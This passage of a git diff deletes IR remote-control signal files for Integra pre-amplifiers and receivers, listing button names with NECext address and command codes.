a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNE_PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNE_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: INPUT_TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: INPUT_V3_GAME/TV -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT_V2_CBL/SAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT_V1_VCR/DVR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: MODE_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: INPUT_FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 46 00 00 00 -# -name: INPUT_AM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 47 00 00 00 -# -name: MODE_LISTEN_MODEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SLEEP_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: SPK_TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: INPUT_V6_PC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: INPUT_V4_AUX1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir deleted file mode 100644 index 84a80492f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE_STRAIGHT_DECODE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 52 00 00 00 -# -name: MODE_DOLBY_EX -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: MODE_MONO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 54 00 00 00 -# -name: SETUP_VIDEO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 87 00 00 00 -# -name: INPUT_UNIVERSAL_PORT -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8A 00 00 00 -# -name: INPUT_USB_(FRONT) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9E 00 00 00 -# -name: INPUT_USB_REAR -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9F 00 00 00 -# -name: MODE_LISTEN_MODEMOVI -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D0 00 00 00 -# -name: MODE_LISTEN_MODEGAME -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D2 00 00 00 -# -name: HDMI_OUT_NO_ANALOG -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D3 00 00 00 -# -name: HDMI_OUT_MAIN -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D4 00 00 00 -# -name: HDMI_OUT_SUB -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D5 00 00 00 -# -name: INPUT_SIRIUS -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir deleted file mode 100644 index aa7ac0a98..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 12V_TRIGGER_A_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 04 00 00 00 -# -name: 12V_TRIGGER_A_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 05 00 00 00 -# -name: 12V_TRIGGER_B_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 06 00 00 00 -# -name: 12V_TRIGGER_B_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 07 00 00 00 -# -name: 12V_TRIGGER_C_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 08 00 00 00 -# -name: 12V_TRIGGER_C_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 09 00 00 00 -# -name: MODE_PLLX_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: MODE_PLLX_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: MODE_PLLX_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: MODE_NEO6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: MODE_NEO6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 14 00 00 00 -# -name: UNLOCK -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 15 00 00 00 -# -name: TUNE_DIRECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: TUNE_SEARCH_MODE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 4D 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5C 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5D 00 00 00 -# -name: NET/USB_FFWD -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 80 00 00 00 -# -name: NET/USB_REW -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 81 00 00 00 -# -name: NET/USB_RETURN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 86 00 00 00 -# -name: INPUT_NET_AUDIO -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 87 00 00 00 -# -name: INPUT_MUSIC_SERVER -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 88 00 00 00 -# -name: INPUT_INTERNET_RADIO -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 89 00 00 00 -# -name: NET/USB_PLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8D 00 00 00 -# -name: NET/USB_STOP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8E 00 00 00 -# -name: NET/USB_TRACK_+ -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8F 00 00 00 -# -name: NET/USB_TRACK_- -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 90 00 00 00 -# -name: NET/USB_PAUSE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 91 00 00 00 -# -name: NET/USB_REPEAT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 92 00 00 00 -# -name: NET/USB_MENU -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 94 00 00 00 -# -name: NET/USB_TOP_MENU -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 95 00 00 00 -# -name: NET/USB_RANDOM -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9B 00 00 00 -# -name: NET/USB_DISPLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9E 00 00 00 -# -name: NET/USB_SETUP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9F 00 00 00 -# -name: NET/USB_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C0 00 00 00 -# -name: NET/USB_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C1 00 00 00 -# -name: NET/USB_LEFT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C2 00 00 00 -# -name: NET/USB_RIGHT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C3 00 00 00 -# -name: NET/USB_SELECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C4 00 00 00 -# -name: NET/USB_CAPS -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D0 00 00 00 -# -name: NET/USB_DELETE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D1 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: NET/USB_1 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: NET/USB_2 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: NET/USB_3 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: NET/USB_4 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: NET/USB_5 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: NET/USB_6 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: NET/USB_7 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: NET/USB_8 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: NET/USB_9 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: NET/USB_0 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir deleted file mode 100644 index e54d83931..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SETUP_HOME -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C0 00 00 00 -# -name: AUDIO_BALANCE -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C1 00 00 00 -# -name: AUDIO_COAX/OPT_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C2 00 00 00 -# -name: RESOLUTION_1080P/24F -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C3 00 00 00 -# -name: MODE_THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C4 00 00 00 -# -name: MODE_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C5 00 00 00 -# -name: MODE_NEURAL_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C6 00 00 00 -# -name: MODE_NEURAL_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C7 00 00 00 -# -name: RESOLUTION_SOURCE -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C9 00 00 00 -# -name: RESOLUTION_THRU -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CA 00 00 00 -# -name: RESOLUTION_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CB 00 00 00 -# -name: RESOLUTION_480P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CC 00 00 00 -# -name: RESOLUTION_720P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CD 00 00 00 -# -name: RESOLUTION_1080I -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CE 00 00 00 -# -name: RESOLUTION_1080P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CF 00 00 00 -# -name: AUDIO_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D0 00 00 00 -# -name: AUDIO_ANALOG -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D1 00 00 00 -# -name: AUDIO_MULTI_CHANNEL -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D2 00 00 00 -# -name: AUDIO_HDMI -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D3 00 00 00 -# -name: MODE_PLLX_THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D4 00 00 00 -# -name: MODE_PLLX_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D6 00 00 00 -# -name: MODE_NEO_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D7 00 00 00 -# -name: MODE_NEURAL_THX_GAME -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D7 00 00 00 -# -name: MODE_PLLX_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D8 00 00 00 -# -name: MODE_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DA 00 00 00 -# -name: MODE_THX_SURR_EX -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DB 00 00 00 -# -name: MODE_THX_ULTRA2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DC 00 00 00 -# -name: MODE_THX_MUSIC_MODE2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DD 00 00 00 -# -name: MODE_THX_GAMES_MODE2 -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DE 00 00 00 -# -name: MODE_NEURAL_THX_SURR -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir deleted file mode 100644 index ce1ecf12f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO_ARC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: AUDYSSEY_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: AUDYSSEY_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_HIGH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_LOW -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_MID -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DOLBY_VOL_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYMANIC_EQ_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_EQ_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_HEAVY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_LIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_MEDIU -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: DYNAMIC_VOLUME_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_AUDIO_OUT_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH_MAIN -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: HDMI_OUT_BOTH_SUB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_CINEMA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_CUSTOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_DAY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_GAME -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_MODE_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_NIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: ISF_THROUGH -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_AUDYSSEY_DSX -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_DOLBYEX_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_FULL_MONO -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_ACTION -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_ROCK -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_RPG -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_GAME_SPORTS -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_MUSIC_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_THX_CINEMA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6_THX_MUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEO6CINEMA_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_NEURAL_DIGITAL -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_ORCHESTRA -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_GAME_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_MOVIE_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLX_MUSIC_AUDY -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+GAMES -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+THXCINEM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_H+THXMUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_PLLZ_HEIGHT -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_STUDIO_MIX -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODE_TV_LOGIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2CINEM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2GAMES -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MODEPLLZH+THXU2MUSIC -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_OFF -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_ON -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: MUSIC_OPTIMIZER_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_4:3 -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_FULL -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_SMART_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_WIDE_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_WRAP -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: WIDE_MODE_ZOOM -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: VOLUME_DOWN_1DB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 -# -name: VOLUME_UP_1DB -type: parsed -protocol: NECext -address: D2 1E 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir deleted file mode 100644 index 1958e8133..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOCK_STOP -type: parsed -protocol: NECext -address: D2 01 00 00 -command: C7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 01 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir deleted file mode 100644 index 318d7a01f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir +++ /dev/null @@ -1,1532 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: IN_MULTI_CH -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: MULTI_CHANNEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: MULTI-CH -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: MULTICHANNEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: INPUT:_MULTI_CHANNEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: MULTI_CH -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP>> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: MODE:_DSP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: MODE_DSP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP_> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 8_/_DSP+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 3_(DSP_UP) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP<< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: MODE:_DSP_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: MODE_DSP_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP_< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: 7_/_DSP- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: 6_(DSP_DN) -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: DSP_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: <_DSP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: AUDIO_INPUT_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1B 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1C 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1D 00 00 00 -# -name: INPUT_> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECT_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECTOR_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: INPUT_SELECT_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: INPUT_SELECTOR_DN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: CHANNEL_LEVEL_+ 